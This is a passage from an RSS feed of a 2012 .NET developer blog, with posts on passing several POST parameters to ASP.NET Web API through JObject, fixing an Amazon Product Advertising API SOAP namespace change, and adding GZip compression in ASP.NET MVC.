    &lt;span style="color: blue"&gt;public string &lt;/span&gt;UserToken { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
}

&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;PostAlbumResponse
&lt;/span&gt;{
    &lt;span style="color: blue"&gt;public string &lt;/span&gt;Result { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
    &lt;span style="color: blue"&gt;public bool &lt;/span&gt;IsSuccess { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
    &lt;span style="color: blue"&gt;public string &lt;/span&gt;ErrorMessage { &lt;span style="color: blue"&gt;get&lt;/span&gt;; &lt;span style="color: blue"&gt;set&lt;/span&gt;; }
}
&lt;/pre&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;To call this method you now have to assemble these objects on the client and send it up as JSON:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;album = {
    AlbumName: &lt;span style="color: maroon"&gt;"PowerAge"&lt;/span&gt;,
    Entered: &lt;span style="color: maroon"&gt;"1/1/1977"
&lt;/span&gt;}
&lt;span style="color: blue"&gt;var &lt;/span&gt;user = {
    Name: &lt;span style="color: maroon"&gt;"Rick"
&lt;/span&gt;}
&lt;span style="color: blue"&gt;var &lt;/span&gt;userToken = &lt;span style="color: maroon"&gt;"sekkritt"&lt;/span&gt;;


$.ajax(
{
    url: &lt;span style="color: maroon"&gt;"samples/PostAlbum"&lt;/span&gt;,
    type: &lt;span style="color: maroon"&gt;"POST"&lt;/span&gt;,
    contentType: &lt;span style="color: maroon"&gt;"application/json"&lt;/span&gt;,
    &lt;strong&gt;data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),&lt;/strong&gt;
    success: &lt;span style="color: blue"&gt;function &lt;/span&gt;(result) {
        alert(result.Result);
    }
});
&lt;/pre&gt;
&lt;p&gt;I assemble the individual types first and then combine them in the data: property of the $.ajax() call into the actual object passed to the server, that mimics the structure of PostAlbumRequest server class that has Album, User and UserToken properties.&lt;/p&gt;
&lt;p&gt;This works well enough but it gets tedious if you have to create Request and Response types for each method signature. If you have common parameters that are always passed (like you always pass an album or usertoken) you might be able to abstract this to use a single object that gets reused for all methods, but this gets confusing too: Overload a single 'parameter' too much and it becomes a nightmare to decipher what your method actual can use.&lt;/p&gt;
&lt;h4&gt;Use JObject to parse multiple Property Values out of an Object&lt;/h4&gt;
&lt;p&gt;If you recall, ASP.NET AJAX and WCF REST used a 'wrapper' object to make default AJAX calls. Rather than directly calling a service you always passed an object which contained properties for each parameter:&lt;/p&gt;
&lt;p&gt;&lt;em&gt;{ parm1: Value, parm2: Value2 }&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;WCF REST/ASP.NET AJAX would then parse this top level property values and map them to the parameters of the endpoint method.&lt;/p&gt;
&lt;p&gt;This automatic type wrapping functionality is no longer available directly in Web API, but since Web API now uses &lt;a href="http://json.codeplex.com/" target="_blank"&gt;JSON.NET&lt;/a&gt; for it's JSON serializer you can actually simulate that behavior with a little extra code. You can use the JObject class to receive a dynamic JSON result and then using the dynamic cast of JObject to walk through the child objects and even parse them into strongly typed objects.&lt;/p&gt;
&lt;p&gt;Here's how to do this on the API Controller end:&lt;/p&gt;&lt;pre class="code"&gt;[&lt;span style="color: #2b91af"&gt;HttpPost&lt;/span&gt;]
&lt;span style="color: blue"&gt;public string &lt;/span&gt;PostAlbum(&lt;span style="color: #2b91af"&gt;JObject &lt;/span&gt;jsonData)
{
    &lt;span style="color: blue"&gt;dynamic &lt;/span&gt;json = jsonData;
    &lt;span style="color: #2b91af"&gt;JObject &lt;/span&gt;jalbum = json.Album;
    &lt;span style="color: #2b91af"&gt;JObject &lt;/span&gt;juser = json.User;
    &lt;span style="color: blue"&gt;string &lt;/span&gt;token = json.UserToken;

    &lt;span style="color: blue"&gt;var &lt;/span&gt;album = jalbum.ToObject&amp;lt;&lt;span style="color: #2b91af"&gt;Album&lt;/span&gt;&amp;gt;();
    &lt;span style="color: blue"&gt;var &lt;/span&gt;user = juser.ToObject&amp;lt;&lt;span style="color: #2b91af"&gt;User&lt;/span&gt;&amp;gt;();

    &lt;span style="color: blue"&gt;return &lt;/span&gt;&lt;span style="color: #2b91af"&gt;String&lt;/span&gt;.Format(&lt;span style="color: #a31515"&gt;"{0} {1} {2}"&lt;/span&gt;, album.AlbumName, user.Name, token);
}
&lt;/pre&gt;
&lt;p&gt;This is clearly not as nice as having the parameters passed directly, but it works to allow you to pass multiple parameters and access them using Web API. &lt;/p&gt;
&lt;p&gt;JObject is JSON.NET's generic object container which sports a nice &lt;em&gt;dynamic&lt;/em&gt; interface that allows you to walk through the object's properties using standard 'dot' object syntax. All you have to do is cast the object to &lt;em&gt;dynamic&lt;/em&gt; to get access to the property interface of the JSON type. &lt;/p&gt;
&lt;p&gt;Additionally JObject also allows you to parse JObject instances into strongly typed objects, which enables us here to retrieve the two objects passed as parameters from this jquery code:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;var &lt;/span&gt;album = {
    AlbumName: &lt;span style="color: maroon"&gt;"PowerAge"&lt;/span&gt;,
    Entered: &lt;span style="color: maroon"&gt;"1/1/1977"
&lt;/span&gt;}
&lt;span style="color: blue"&gt;var &lt;/span&gt;user = {
    Name: &lt;span style="color: maroon"&gt;"Rick"
&lt;/span&gt;}
&lt;span style="color: blue"&gt;var &lt;/span&gt;userToken = &lt;span style="color: maroon"&gt;"sekkritt"&lt;/span&gt;;


$.ajax(
{
    url: &lt;span style="color: maroon"&gt;"samples/PostAlbum"&lt;/span&gt;,
    &lt;strong&gt;type: &lt;span style="color: maroon"&gt;"POST"&lt;/span&gt;,
    contentType: &lt;span style="color: maroon"&gt;"application/json"&lt;/span&gt;,&lt;/strong&gt;
    data: JSON.stringify({ Album: album, User: user, UserToken: userToken }),
     success: &lt;span style="color: blue"&gt;function &lt;/span&gt;(result) {
        alert(&lt;strong&gt;result&lt;/strong&gt;);
    }
});
&lt;/pre&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;ASP.NET Web API brings many new features and many advantages over the older Microsoft AJAX and REST APIs, but realize that some things like passing multiple strongly typed object parameters will work a bit differently. It's not insurmountable, but just knowing what options are available to simulate this behavior is good to know.&lt;/p&gt;
&lt;p&gt;Now let me say here that it's probably not a good practice to pass a bunch of parameters to an API call. Ideally APIs should be closely factored to accept single parameters or a single content parameter at least along with some identifier parameters that can be passed on the querystring. But saying that doesn't mean that occasionally you don't run into a situation where you have the need to pass several objects to the server and all three of the options I mentioned might have merit in different situations.&lt;/p&gt;
&lt;p&gt;For now I'm sure the question of how to pass multiple parameters will come up quite a bit from people migrating WCF REST or ASP.NET AJAX code to Web API. At least there are options available to make it work.&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=Web Api'&gt;Web Api&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Passing multiple POST parameters to Web API Controller Methods" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/May/08/Passing-multiple-POST-parameters-to-Web-API-Controller-Methods"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/May/08/Passing-multiple-POST-parameters-to-Web-API-Controller-Methods" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=XtchMy7iL9I:MNdI0BREAqg:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=XtchMy7iL9I:MNdI0BREAqg:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=XtchMy7iL9I:MNdI0BREAqg:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=XtchMy7iL9I:MNdI0BREAqg:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/XtchMy7iL9I" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/May/08/Passing-multiple-POST-parameters-to-Web-API-Controller-Methods</feedburner:origLink></item>
    <item>
      <title>Amazon Product Advertising API SOAP Namespace Changes</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/Kezh-JZtvhI/Amazon-Product-Advertising-API-SOAP-Namespace-Changes</link>
      <guid isPermaLink="false">1342276_201205031136</guid>
      <pubDate>Thu, 03 May 2012 11:36:08 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/May/03/Amazon-Product-Advertising-API-SOAP-Namespace-Changes#Comments</comments>
      <slash:comments>0</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1342276</wfw:commentRss>
      <category>CSharp</category>
      <category>Web Services</category>
      <description>&lt;p&gt;About two months ago (twowards the end of February 2012 I think) Amazon decided to change the namespace of the Product Advertising API. The error that would come up was:&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&amp;lt;ItemSearchResponse xmlns='http://webservices.amazon.com/AWSECommerceService/2011-08-01'&amp;gt; was not expected.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;If you've used the Amazon Product Advertising API you probably know that Amazon has made it a habit to break the services every few years or so and I guess last month was about the time for another one.&lt;/p&gt; &lt;p&gt;Basically the service namespace of the document has been changed and responses from the service just failed outright even though the rest of the schema looks fine.&lt;/p&gt; &lt;p&gt;Now I looked around for a while trying to find a recent update to the Product Advertising API - something semi-official looking but everything is dated around 2009. Really??? And it's not just .NET - the newest thing on the sample/APIs is dated early 2011 and a handful of 2010 samples. There are newer full APIs for the 'cloud' offerings, but the Product Advertising API apparently isn't part of that.&lt;/p&gt; &lt;p&gt;After searching for quite a bit trying to trace this down myself and trying some of the newer samples (which also failed) I found an obscure &lt;a href="https://forums.aws.amazon.com/thread.jspa?threadID=87641&amp;amp;tstart=0" target="_blank"&gt;forum post&lt;/a&gt; that describes the solution of getting past the namespace issue.&lt;/p&gt; &lt;p&gt;FWIW, I've been using an old version of the Product Advertising API using the old Microsoft WSE3 services (pre-WCF), which provides some of the WS* security features required by the Amazon service. The fix for this code is to explicitly override the namespace declaration on each of the imported service method signatures.&lt;/p&gt; &lt;p&gt;The old service namespace (at least on my build) was:&lt;/p&gt; &lt;p&gt;&lt;a title="http://webservices.amazon.com/AWSECommerceService/2009-03-31" href="http://webservices.amazon.com/AWSECommerceService/2009-03-31"&gt;http://webservices.amazon.com/AWSECommerceService/2009-03-31&lt;/a&gt;&lt;/p&gt; &lt;p&gt;and it should be changed to:&lt;/p&gt; &lt;p&gt;&lt;a href="http://webservices.amazon.com/AWSECommerceService/2011-08-01"&gt;http://webservices.amazon.com/AWSECommerceService/2011-08-01&lt;/a&gt;&lt;/p&gt; &lt;p&gt;Change it on the class header:&lt;/p&gt;&lt;pre class="code"&gt;&lt;strong&gt;[Microsoft.Web.Services3.Messaging.&lt;span style="color: #2b91af"&gt;SoapService&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"http://webservices.amazon.com/AWSECommerceService/2011-08-01"&lt;/span&gt;)]
&lt;/strong&gt;[System.Xml.Serialization.&lt;span style="color: #2b91af"&gt;XmlIncludeAttribute&lt;/span&gt;(&lt;span style="color: blue"&gt;typeof&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;Property&lt;/span&gt;[]))]
[System.Xml.Serialization.&lt;span style="color: #2b91af"&gt;XmlIncludeAttribute&lt;/span&gt;(&lt;span style="color: blue"&gt;typeof&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;BrowseNode&lt;/span&gt;[]))]
[System.Xml.Serialization.&lt;span style="color: #2b91af"&gt;XmlIncludeAttribute&lt;/span&gt;(&lt;span style="color: blue"&gt;typeof&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;TransactionItem&lt;/span&gt;[]))]
&lt;span style="color: blue"&gt;public partial class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;AWSECommerceService &lt;/span&gt;: Microsoft.Web.Services3.Messaging.&lt;span style="color: #2b91af"&gt;SoapClient &lt;/span&gt;{

&lt;/pre&gt;
&lt;p&gt;and on all method signatures:&lt;/p&gt;&lt;pre class="code"&gt;[Microsoft.Web.Services3.Messaging.&lt;span style="color: #2b91af"&gt;SoapMethodAttribute&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"http://soap.amazon.com/ItemSearch"&lt;/span&gt;)]
[&lt;span style="color: blue"&gt;return&lt;/span&gt;: System.Xml.Serialization.&lt;span style="color: #2b91af"&gt;XmlElementAttribute&lt;/span&gt;(&lt;span style="color: #a31515"&gt;"ItemSearchResponse"&lt;/span&gt;, &lt;br&gt;                                  &lt;strong&gt;Namespace=&lt;span style="color: #a31515"&gt;"http://webservices.amazon.com/AWSECommerceService/2011-08-01"&lt;/span&gt;&lt;/strong&gt;)]
&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;ItemSearchResponse &lt;/span&gt;ItemSearch(&lt;span style="color: #2b91af"&gt;ItemSearch &lt;/span&gt;ItemSearch1) {
    Microsoft.Web.Services3.&lt;span style="color: #2b91af"&gt;SoapEnvelope &lt;/span&gt;results = &lt;span style="color: blue"&gt;base&lt;/span&gt;.SendRequestResponse(&lt;span style="color: #a31515"&gt;"ItemSearch"&lt;/span&gt;, ItemSearch1);
    &lt;span style="color: blue"&gt;return &lt;/span&gt;((&lt;span style="color: #2b91af"&gt;ItemSearchResponse&lt;/span&gt;)(results.GetBodyObject(&lt;span style="color: blue"&gt;typeof&lt;/span&gt;(&lt;span style="color: #2b91af"&gt;ItemSearchResponse&lt;/span&gt;), &lt;span style="color: blue"&gt;this&lt;/span&gt;.SoapServiceAttribute.TargetNamespace)));
}

&lt;/pre&gt;
&lt;p&gt;It's easy to do with a Search and Replace on the above strings.&lt;/p&gt;
&lt;h3&gt;Amazon Services&lt;/h3&gt;
&lt;p&gt;&amp;lt;rant&amp;gt;&lt;/p&gt;
&lt;p&gt;FWIW, I've not been impressed by Amazon's service offerings. While the services work well, their documentation and tool support is absolutely horrendous. I was recently working with a customer on an old AWS application and their old API had been completely removed with a new API that wasn't even a close match. One old API call resulted in requiring three different APIs to perform the same functionality. We had to re-write the entire piece from scratch essentially. The documentation was downright wrong, and incomplete and so scattered it was next to impossible to follow. The examples weren't examples at all - they're mockups of real service calls with fake data that didn't even provide everything that was required to make same service calls work. Additionally there appears to be just about no public support from Amazon, only peer support which is sparse at best - and getting a hold of somebody at Amazon, even for pay seems to be mythical task. It's a terrible business model they have going. I can't see why anybody would put themselves through this sort of customer and development experience.&lt;/p&gt;
&lt;p&gt;Sad really, but an experience we see more and more these days. Nobody puts in the time to document anything anymore, leaving it to devs to figure this stuff out over and over again…&lt;/p&gt;
&lt;p&gt;&amp;lt;/rant&amp;gt;&lt;/p&gt;&lt;div style='margin: 10px 0px'&gt;&lt;small&gt;© Rick Strahl, West Wind Technologies, 2005-2012&lt;/small&gt;&lt;/div&gt;&lt;div&gt;Posted in &lt;b&gt;&lt;a href='/Weblog/ShowPosts.aspx?Category=CSharp'&gt;CSharp&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;a href='/Weblog/ShowPosts.aspx?Category=Web Services'&gt;Web Services&lt;/a&gt;&amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
&lt;div style='margin-top: 5px;'&gt;
&lt;a href="https://twitter.com/share" class="twitter-share-button" data-text="Amazon Product Advertising API SOAP Namespace Changes" data-via="RickStrahl" data-lang="en" data-hashtags="" data-url="http://www.west-wind.com/weblog/posts/2012/May/03/Amazon-Product-Advertising-API-SOAP-Namespace-Changes"&gt;Tweet&lt;/a&gt;
&lt;script&gt;!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");&lt;/script&gt;

&lt;g:plusone size="medium" href="http://www.west-wind.com/weblog/posts/2012/May/03/Amazon-Product-Advertising-API-SOAP-Namespace-Changes" "&gt;&lt;/g:plusone&gt;
&lt;script type="text/javascript"&gt;
  (function() {
    var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
    po.src = 'https://apis.google.com/js/plusone.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);
  })();
&lt;/script&gt;

&lt;/div&gt;&lt;/small&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:dnMXMwOfBR0"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=dnMXMwOfBR0" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:D7DqB2pKExk"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=Kezh-JZtvhI:y3CUJYE4j5U:D7DqB2pKExk" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:F7zBnMyn0Lo"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=Kezh-JZtvhI:y3CUJYE4j5U:F7zBnMyn0Lo" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:V_sGLiPBpWU"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?i=Kezh-JZtvhI:y3CUJYE4j5U:V_sGLiPBpWU" border="0"&gt;&lt;/img&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/RickStrahl?a=Kezh-JZtvhI:y3CUJYE4j5U:qj6IDK7rITs"&gt;&lt;img src="http://feeds.feedburner.com/~ff/RickStrahl?d=qj6IDK7rITs" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/RickStrahl/~4/Kezh-JZtvhI" height="1" width="1"/&gt;</description>
    <feedburner:origLink>http://www.west-wind.com/weblog/posts/2012/May/03/Amazon-Product-Advertising-API-SOAP-Namespace-Changes</feedburner:origLink></item>
    <item>
      <title>GZip/Deflate Compression in ASP.NET MVC</title>
      <link>http://feedproxy.google.com/~r/RickStrahl/~3/RldaSFCQBag/GZipDeflate-Compression-in-ASPNET-MVC</link>
      <guid isPermaLink="false">1337725_201204281100</guid>
      <pubDate>Sat, 28 Apr 2012 11:00:08 GMT</pubDate>
      <dc:creator>Rick Strahl</dc:creator>
      <comments>http://www.west-wind.com/weblog/posts/2012/Apr/28/GZipDeflate-Compression-in-ASPNET-MVC#Comments</comments>
      <slash:comments>4</slash:comments>
      <wfw:commentRss>http://west-wind.com/weblog/commentrss.aspx?id=1337725</wfw:commentRss>
      <category> ASP.NET</category>
      <category>MVC</category>
      <description>&lt;p&gt;A long while back I wrote about &lt;a href="http://www.west-wind.com/weblog/posts/2007/Feb/05/More-on-GZip-compression-with-ASPNET-Content" target="_blank"&gt;GZip compression in ASP.NET&lt;/a&gt;. In that article I describe two generic helper methods that I've used in all sorts of ASP.NET application from WebForms apps to HttpModules and HttpHandlers that require gzip or deflate compression. The same static methods also work in ASP.NET MVC.&lt;/p&gt; &lt;p&gt;Here are the two routines:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
/// &lt;/span&gt;&lt;span style="color: green"&gt;Determines if GZip is supported
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
/// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;public static bool &lt;/span&gt;IsGZipSupported()
{
    &lt;span style="color: blue"&gt;string &lt;/span&gt;AcceptEncoding = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Request.Headers[&lt;span style="color: #a31515"&gt;"Accept-Encoding"&lt;/span&gt;];
    &lt;span style="color: blue"&gt;if &lt;/span&gt;(!&lt;span style="color: blue"&gt;string&lt;/span&gt;.IsNullOrEmpty(AcceptEncoding) &amp;amp;&amp;amp;
            (AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;) || AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"deflate"&lt;/span&gt;)))
        &lt;span style="color: blue"&gt;return true&lt;/span&gt;;
    &lt;span style="color: blue"&gt;return false&lt;/span&gt;;
}

&lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
/// &lt;/span&gt;&lt;span style="color: green"&gt;Sets up the current page or handler to use GZip through a Response.Filter
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;IMPORTANT:  
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;You have to call this method before any output is generated!
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;public static void &lt;/span&gt;GZipEncodePage()
{
    &lt;span style="color: #2b91af"&gt;HttpResponse &lt;/span&gt;Response = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Response;

    &lt;span style="color: blue"&gt;if &lt;/span&gt;(IsGZipSupported())
    {
        &lt;span style="color: blue"&gt;string &lt;/span&gt;AcceptEncoding = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Request.Headers[&lt;span style="color: #a31515"&gt;"Accept-Encoding"&lt;/span&gt;];

        &lt;span style="color: blue"&gt;if &lt;/span&gt;(AcceptEncoding.Contains(&lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;))
        {
            Response.Filter = &lt;span style="color: blue"&gt;new &lt;/span&gt;System.IO.Compression.&lt;span style="color: #2b91af"&gt;GZipStream&lt;/span&gt;(Response.Filter,
                                        System.IO.Compression.&lt;span style="color: #2b91af"&gt;CompressionMode&lt;/span&gt;.Compress);
            Response.Headers.Remove(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
            Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"gzip"&lt;/span&gt;);
        }
        &lt;span style="color: blue"&gt;else
        &lt;/span&gt;{
            Response.Filter = &lt;span style="color: blue"&gt;new &lt;/span&gt;System.IO.Compression.&lt;span style="color: #2b91af"&gt;DeflateStream&lt;/span&gt;(Response.Filter,
                                        System.IO.Compression.&lt;span style="color: #2b91af"&gt;CompressionMode&lt;/span&gt;.Compress);
            Response.Headers.Remove(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
            Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"deflate"&lt;/span&gt;);
        }
    }

    &lt;span style="color: green"&gt;// Allow proxy servers to cache encoded and unencoded versions separately
    &lt;/span&gt;Response.AppendHeader(&lt;span style="color: #a31515"&gt;"Vary"&lt;/span&gt;, &lt;span style="color: #a31515"&gt;"Content-Encoding"&lt;/span&gt;);
}&lt;/pre&gt;
&lt;p&gt;The first method checks whether the client sending the request includes the accept-encoding for either gzip or deflate, and if if it does it returns true. The second function uses IsGzipSupported() to decide whether it should encode content and uses an Response Filter to do its job. Basically response filters look at the Response output stream as it's written and convert the data flowing through it. Filters are a bit tricky to work with but the two .NET filter streams for GZip and Deflate Compression make this a snap to implement.&lt;/p&gt;
&lt;p&gt;In my old code and even now in MVC I can always do:&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: blue"&gt;public &lt;/span&gt;&lt;span style="color: #2b91af"&gt;ActionResult &lt;/span&gt;List(&lt;span style="color: blue"&gt;string &lt;/span&gt;keyword=&lt;span style="color: blue"&gt;null&lt;/span&gt;, &lt;span style="color: blue"&gt;int &lt;/span&gt;category=0)
{
    &lt;span style="color: #2b91af"&gt;WebUtils&lt;/span&gt;.GZipEncodePage();&lt;/pre&gt;&lt;pre class="code"&gt;    …&lt;/pre&gt;&lt;pre class="code"&gt;}&lt;/pre&gt;
&lt;p&gt;&lt;font face="Verdana"&gt;to encode my content. And that works just fine. &lt;/font&gt;&lt;/p&gt;
&lt;h3&gt;The proper way: Create an ActionFilterAttribute&lt;/h3&gt;
&lt;p&gt;&lt;font face="Verdana"&gt;However in MVC this sort of thing is typically better handled by an ActionFilter which can be applied with an attribute. So to be all prim and proper I created an CompressContentAttribute ActionFilter that incorporates those two helper methods and which looks like this:&lt;/font&gt;&lt;/p&gt;&lt;pre class="code"&gt;&lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
/// &lt;/span&gt;&lt;span style="color: green"&gt;Attribute that can be added to controller methods to force content
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;to be GZip encoded if the client supports it
&lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
&lt;/span&gt;&lt;span style="color: blue"&gt;public class &lt;/span&gt;&lt;span style="color: #2b91af"&gt;CompressContentAttribute &lt;/span&gt;: &lt;span style="color: #2b91af"&gt;ActionFilterAttribute
&lt;/span&gt;{

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Override to compress the content that is generated by
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &lt;/span&gt;&lt;span style="color: green"&gt;an action method.
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    /// &amp;lt;param name="filterContext"&amp;gt;&amp;lt;/param&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public override void &lt;/span&gt;OnActionExecuting(&lt;span style="color: #2b91af"&gt;ActionExecutingContext &lt;/span&gt;filterContext)
    {
        GZipEncodePage();
    }

    &lt;span style="color: gray"&gt;/// &amp;lt;summary&amp;gt;
    /// &lt;/span&gt;&lt;span style="color: green"&gt;Determines if GZip is supported
    &lt;/span&gt;&lt;span style="color: gray"&gt;/// &amp;lt;/summary&amp;gt;
    /// &amp;lt;returns&amp;gt;&amp;lt;/returns&amp;gt;
    &lt;/span&gt;&lt;span style="color: blue"&gt;public static bool &lt;/span&gt;IsGZipSupported()
    {
        &lt;span style="color: blue"&gt;string &lt;/span&gt;AcceptEncoding = &lt;span style="color: #2b91af"&gt;HttpContext&lt;/span&gt;.Current.Request.Headers[&lt;span style="color: #a31515"&gt;"Accept-Encoding"&lt;/span&gt;];
